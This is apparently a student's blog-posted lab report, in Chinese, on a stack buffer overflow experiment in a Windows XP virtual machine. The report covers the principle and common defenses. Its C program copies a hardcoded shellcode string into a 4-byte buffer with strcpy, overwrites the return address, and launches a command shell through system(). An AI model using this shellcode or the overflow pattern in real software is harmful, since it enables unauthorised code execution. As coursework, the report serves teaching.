20191230徐亮 ch03 课下作业(选作,计入平时成绩)

缓冲区溢出漏洞实验报告

20191230徐亮

一、实验目的

该实验为验证性实验,实验目的如下:

1、掌握缓冲区溢出的基本原理。

2、掌握预防缓冲区溢出的方法,并且在实际编程中严格遵循这些方法。

二、实验内容及步骤

1、理解缓冲区溢出的基本原理。

2、利用函数strcpy()编程实现一个简单的缓冲区溢出实例。

3、总结预防缓冲区溢出的方法。

三、实验要求

1、掌握缓冲区溢出的基本原理,并熟练掌握C语言编程。

2、生能够编程实现一个简单的缓冲区溢出实例。

四、实验所涉及知识点     

本实验涉及的知识点主要是缓冲区溢出。

五、实验环境

计算机 :Windows XP  

开发环境:Dev-C++

六、实验验证原理

1、缓冲区溢出:缓冲区溢出是一种常见且危害很大的系统攻击手段,通过查阅资料得知向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。

2、C语言编程中,一些不作边界检查的字符串拷贝函数(如strcpy)容易造成缓冲区溢出。

七、实验过程

1、VMware Workstation中安装Windows XP虚拟机

2、在虚拟机中安装Dev-C++

3、设计C语言代码

源代码如下:

#include <stdio.h>

#include <string.h>

 

char code[]="01234567XXXXxxxx"

"\x12\x45\xfa\x7f"

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x77\x1d\x80\x7c"

"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"

"\xc7\x93\xbf\x77"

"\xFF\xD0"

"\x83\xC4\x12\x5D";

int main(){

char buf[4];

strcpy(buf,code);

printf("%s\n",buf);

return 0;

}

运行结果:

 

 

 

八、实验体会

通过学习,了解到缓冲区溢出是一种在各种操作系统、应用软件中广泛存在普遍且危险的漏洞,利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

1. 缓冲区溢出的原理:

当正常的使用者操作程序的时候,所进行的操作一般不会超出程序的运行范围;而黑客却利用缓冲长度界限向程序中输入超出其常规长度的内容,造成缓冲区的溢出从而破坏程序的堆栈,使程序运行出现特殊的问题转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,属于程序开发过程考虑不周到的结果。 当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

2. 缓冲区溢出攻击的防范方法: 

缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。 目前有三种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:

(1) 通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;

(2) 强制写正确的代码的方法;

(3) 利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁。

 

posted on 2021-10-31 18:16  徐亮20191230  阅读(34)  评论(0编辑  收藏  举报